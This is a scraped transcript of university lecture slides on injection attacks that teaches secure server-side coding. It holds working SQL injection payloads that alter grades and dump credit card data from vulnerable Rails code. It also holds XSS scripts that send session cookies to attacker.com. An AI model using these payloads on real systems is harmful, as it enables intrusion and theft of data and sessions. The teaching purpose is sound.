Preventing Injection Attacks in Server-Side Code Example
Learn about the dangers of injection attacks and how to prevent them in server-side code through real-world examples and scenarios. Understand the risks associated with unsafe code practices and how to safeguard your systems against malicious exploitation.
Download Presentation
Please find below an Image/Link to download the presentation.
The content on the website is provided AS IS for your information and personal use only. It may not be sold, licensed, or shared on other websites without obtaining consent from the author. Download presentation by click this link. If you encounter any issues during the download, it is possible that the publisher has removed the file from their server.
E N D
Presentation Transcript
Unsafe Server Code advisorName = params[:form][:advisor] students = Student.find_by_sql( "SELECT students.* " + "FROM students, advisors " + "WHERE student.advisor_id = advisor.id " + "AND advisor.name = '" + advisorName + "'"); Typical query: SELECT students.* FROM students, advisors WHERE student.advisor_id = advisor.id AND advisor.name = 'Jones' Value from form field CS 142 Lecture Notes: Injection Attacks Slide 1
Injection Attack Enter the following in the "Advisor name" field: Jones'; UPDATE grades SET g.grade = 4.0 FROM grades g, students s WHERE g.student_id = s.id AND s.name = 'Smith Resulting query: SELECT students.* FROM students, advisors WHERE student.advisor_id = advisor.id AND advisor.name = 'Jones'; UPDATE grades SET g.grade = 4.0 FROM grades g, students s WHERE g.student_id = s.id AND s.name = 'Smith' CS 142 Lecture Notes: Injection Attacks Slide 2
Stealing Private Information CS 142 Lecture Notes: Injection Attacks Slide 3
Stealing Private Info, cont'd Server query code: month = params[:form][:month] orders = Orders.find_by_sql( "SELECT pizza, toppings, quantity, date " + "FROM orders " + "WHERE user_id=" + user_id + "AND order_month= '" + month + "'"); What if "month" is: October' AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards WHERE name != ' CS 142 Lecture Notes: Injection Attacks Slide 4
Resulting Query SELECT pizza, toppings, quantity, date FROM orders WHERE user_id=94412 AND order_month='October' AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards WHERE name != '' CS 142 Lecture Notes: Injection Attacks Slide 5
Resulting Query SELECT pizza, toppings, quantity, date FROM orders WHERE user_id=94412 AND order_month='October' AND 1=0 UNION SELECT name as pizza, card_num as toppings, exp_mon as quantity, exp_year as date FROM credit_cards WHERE name != '' CS 142 Lecture Notes: Injection Attacks Slide 6
CardSystems Attack CardSystems Credit card payment processing company SQL injection attack in June 2005 The Attack Credit card #s stored unencrypted 263,000 credit card #s stolen from database 43 million credit card #s exposed CS 142 Lecture Notes: Injection Attacks Slide 7 7
Let Rails Handle SQL Escaping Student.find_by_sql("SELECT students.* " + "FROM students, advisors " + "WHERE student.advisor_id = advisor.id " + "AND advisor.name = ?", params[:form][:advisor]) CS 142 Lecture Notes: Injection Attacks Slide 8
Prepared Statements PHP: $statement = odbc_prepare($connection, "SELECT * FROM students " . "WHERE advisor = ? AND gpa >= ?;"); odbc_execute($statement, array($advisor, $gpa)); Java: statement = connection.prepareStatement( "SELECT * FROM students " + "WHERE advisor = ? AND gpa >= ?;"); statement.setString(1, advisor); statement.setString(2, gpa); ResultSet rs = statement.executeQuery(); CS 142 Lecture Notes: Injection Attacks Slide 9
Stored XSS Attack Buggy server template: ... <div class="blogComment"> <%= @comment.message.html_safe%> </div> ... No escaping! Attacking blog entry: I agree completely with Alice ... <img style="display:none" id="cookieMonster"> <script> img = document.getElementById("cookieMonster"); img.src = "http://attacker.com?cookie=" + encodeURIComponent(document.cookie); </script> CS 142 Lecture Notes: Injection Attacks Slide 10
Reflected XSS Attack Buggy server template: ... <h1>Search Results</h1> Results for <%= params[:searchTerm].html_safe %> ... No escaping! Attacking search entry: Justin Bieber <img style="display:none" id="cookieMonster"> <script> img = document.getElementById("cookieMonster"); img.src = "http://attacker.com?cookie=" + encodeURIComponent(document.cookie); </script> CS 142 Lecture Notes: Injection Attacks Slide 11
CS 142 Lecture Notes: Cookies Slide 12
